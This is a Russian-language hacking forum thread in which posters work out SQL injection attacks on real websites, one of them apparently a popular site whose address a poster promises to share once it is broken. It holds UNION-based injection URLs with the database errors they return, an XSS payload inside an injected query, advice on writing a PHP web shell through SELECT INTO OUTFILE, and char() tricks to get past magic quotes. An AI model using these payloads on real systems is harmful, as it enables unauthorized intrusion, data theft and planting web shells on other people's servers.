Zdarova nu mne intiresna ia sastavlaiu SQL zapros nu sperva test 1.http://site.ze/cat.php?c=-1'A Atvet : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'A ORDER BY `ID` DESC LIMIT 1' at line 1 ___________________________________ ____________ 2.http://site.ze/cat.php?c=-1+union+se...ase(),null,7,8 ,9+from+mysql.user+where+id=1/* Atvet:Cannot query the database. Access denied for user 'top'@'localhost' to database 'mysql' ___________________________________ ___________ 3.http://site.ze/cat.php?c=-1+union+select+1,2,<script>alert(); </script>,null,5,null,7,8,9+from+mysq l.user+where+id=1/* Rabotait ___________________________________ ______________ 4.http://site.ze/cat.php?c=-1+union+se...,7,8%20%20,9/* ATVET:Cannot query the database. The used SELECT statements have a different number of columns ___________________________________ ______________________ Shto mne shas delat ? Prashu abisnite
не заметил.. насчет 2го - часто к mysql имеет доступ либо root либо какой-ниб привелигированный юзер.. поэтому ищи поля бд которая доступна именно тебе насчет 4го - напиши полностью 4ый запрос в тэгах код, но вообще в ошибке и так сказанно что не то число столбцов
Мне вот это странно, что 3 работает, т.к. там нету ковычек, это что получается такая колонка есть. А в 4 ясно написано что кол-во колонок не совпадает.
Есть похожая тема. Нашел инекцию в очень раскрученном ресурсе. Параметр передается походу двум запросам, один на 5 столбцов, другой на 8. И не понятно, почему точка с запятой приводят к ошибке в любом месте, и после параметра и в Union запросе. Вот примеры. 1. =0;/* Query Error! You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';/*' at line 1Query Error! You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ';/*' at line 1 2. =0 union select null, null, null, null, null/* Query Error! The used SELECT statements have a different number of columns 3. =0 union select null, null, null, null, VERSION()/* Query Error! The used SELECT statements have a different number of columns Если сломаю, с меня адресок ресурса
В смысле, сколько участвует? На странице должно выводится два запроса с этим параметром, т.е. в одном из них должно быть 5 столбцов, ниже на стр второй с этим же параметром, но 8 столбцов. Возможно это даже разные таблицы. Дело в том, что при выборе например 4 столбцов выводятся два сообщения об ошибке и неправильном количестве столбцов, при выборе 5 или 8 только одно. Соответсвенно, в любом случае при запросе я получаю ошибку или от одного или от другого. Можно ли это исправить?
кажется нет, но если 1 запрос выполняется и юзер root, то можно записать в файл код шелла select 'shell' into outfile '/путь/shell.php'
Скорее всего не рут, хотя попробую, но если есть к примеру папка с правами RW для всех, то туда же можно записать? И еще включены магические квоты, для этого попробовать использовать char(), или что еще, чтоб получить каывчки кавычки типа select char(22) shell char(22) into outfile char(22) /путь/shell.php char(22)
Я все к теме sql. Появился вопрос. Есть строка: (две строки) 1. select user from user where user=char(39) 2. select user from user where user=char(39)root char(39) Так вот, первая проходит без ошибок это понятно. Вторая нифига. Что должно быть между root и char(39)? Какой знак может? Чтоб они обрабатывались как одна фраза. Может есть какой заменитель char для строк, а не для одного символа.